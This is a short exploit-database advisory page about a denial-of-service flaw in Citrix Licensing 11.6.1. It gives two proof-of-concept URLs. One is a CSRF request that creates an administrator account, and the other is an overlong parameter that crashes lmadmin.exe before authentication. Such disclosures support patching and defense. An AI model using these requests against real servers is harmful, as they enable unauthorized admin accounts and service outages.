Citrix 11.6.1 – Licensing Administration Console Denial of Service

• Exploit Database
• 121 阅读

• 作者： Rune
  日期： 2012-03-15
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/36969/
• 1 2 3 4 5 6 7 8 9 10 11 12 13

  source:https://www.securityfocus.com/bid/52522/info   Citrix Licensing is prone to a denial-of-service vulnerability.   A remote attacker can leverage this issue to crash the affected application, denying service to legitimate users.   Citrix Licensing 11.6.1 build 10007 is vulnerable; other versions may also be affected.   Proof-of-Concept: http://www.example.com/users?licenseTab=&selected=&userName=xsrf&firstName=xsrf&lastName=xsrf&password2=xsrf&confirm=xsrf&accountType=admin&originalAccountType=&Create=Save(Administrator CSRF)   http://www.example.com/dashboard?<something long here>=2 (pre auth DoS, crashes lmadmin.exe)